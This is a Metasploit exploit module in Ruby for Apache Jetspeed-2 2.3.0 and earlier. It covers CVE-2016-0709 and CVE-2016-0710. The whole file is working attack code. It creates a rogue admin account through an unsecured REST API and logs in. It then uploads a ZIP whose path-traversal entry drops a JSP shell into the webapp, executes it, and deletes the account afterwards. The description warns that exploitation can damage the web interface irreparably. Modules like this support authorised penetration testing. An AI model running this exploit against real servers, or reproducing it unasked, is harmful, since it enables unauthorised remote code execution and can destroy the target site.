## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Jetspeed Arbitrary File Upload', 'Description' => %q{ This module exploits the unsecured User Manager REST API and a ZIP file path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier versions, to upload and execute a shell. Note: this exploit will create, use, and then delete a new admin user. Warning: in testing, exploiting the file upload clobbered the web interface beyond repair. No workaround has been found yet. Use this module at your own risk. No check will be implemented. }, 'Author' => [ 'Andreas Lindh', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2016-0710'], ['CVE', '2016-0709'], ['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'], ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'], ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710'] ], 'DisclosureDate' => '2016-03-06', 'License' => MSF_LICENSE, 'Platform' => ['linux', 'win'], 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ ['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'], ['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win'] ], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options([ Opt::RPORT(8080) ]) end def print_status(msg = '') super("#{peer} - #{msg}") end def print_warning(msg = '') super("#{peer} - #{msg}") end def exploit print_status("Creating admin user: #{username}:#{password}") create_admin_user print_status('Logging in as newly created admin') jetspeed_login print_status("Uploading payload ZIP: #{zip_filename}") upload_payload_zip print_status("Executing JSP shell: /jetspeed/#{jsp_filename}") exec_jsp_shell end def cleanup print_status("Deleting user: #{username}") delete_user super end # # Exploit methods # def create_admin_user send_request_cgi( 'method' => 'POST', 'uri' => '/jetspeed/services/usermanager/users', 'vars_post' => { 'name' => username, 'password' => password, 'password_confirm' => password } ) send_request_cgi( 'method' => 'POST', 'uri' => "/jetspeed/services/usermanager/users/#{username}", 'vars_post' => { 'user_enabled' => 'true', 'roles' => 'admin' } ) end def jetspeed_login res = send_request_cgi( 'method' => 'GET', 'uri' => '/jetspeed/login/redirector' ) res = send_request_cgi!( 'method' => 'POST', 'uri' => '/jetspeed/login/j_security_check', 'cookie' => res.get_cookies, 'vars_post' => { 'j_username' => username, 'j_password' => password } ) @cookie = res.get_cookies end # Let's pretend we're mechanize def import_file res = send_request_cgi( 'method' => 'GET', 'uri' => '/jetspeed/portal/Administrative/site.psml', 'cookie' => @cookie ) html = res.get_html_document import_export = html.at('//a[*//text() = "Import/Export"]/@href') res = send_request_cgi!( 'method' => 'POST', 'uri' => import_export, 'cookie' => @cookie ) html = res.get_html_document html.at('//form[*//text() = "Import File"]/@action') end def upload_payload_zip zip = Rex::Zip::Archive.new zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded) mime = Rex::MIME::Message.new mime.add_part(zip.pack, 'application/zip', 'binary', %Q{form-data; name="fileInput"; filename="#{zip_filename}"}) mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"') mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"') case target['Platform'] when 'linux' register_file_for_cleanup("../webapps/jetspeed/#{jsp_filename}") register_dir_for_cleanup("../temp/#{username}") when 'win' register_file_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}") register_dir_for_cleanup("..\\temp\\#{username}") end send_request_cgi( 'method' => 'POST', 'uri' => import_file, 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'cookie' => @cookie, 'data' => mime.to_s ) end def exec_jsp_shell send_request_cgi( 'method' => 'GET', 'uri' => "/jetspeed/#{jsp_filename}", 'cookie' => @cookie ) end # # Cleanup methods # def delete_user send_request_cgi( 'method' => 'DELETE', 'uri' => "/jetspeed/services/usermanager/users/#{username}" ) end # # Utility methods # def username @username ||= Rex::Text.rand_text_alpha_lower(8) end def password @password ||= Rex::Text.rand_text_alphanumeric(8) end def jsp_filename @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp' end def zip_filename @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip' end end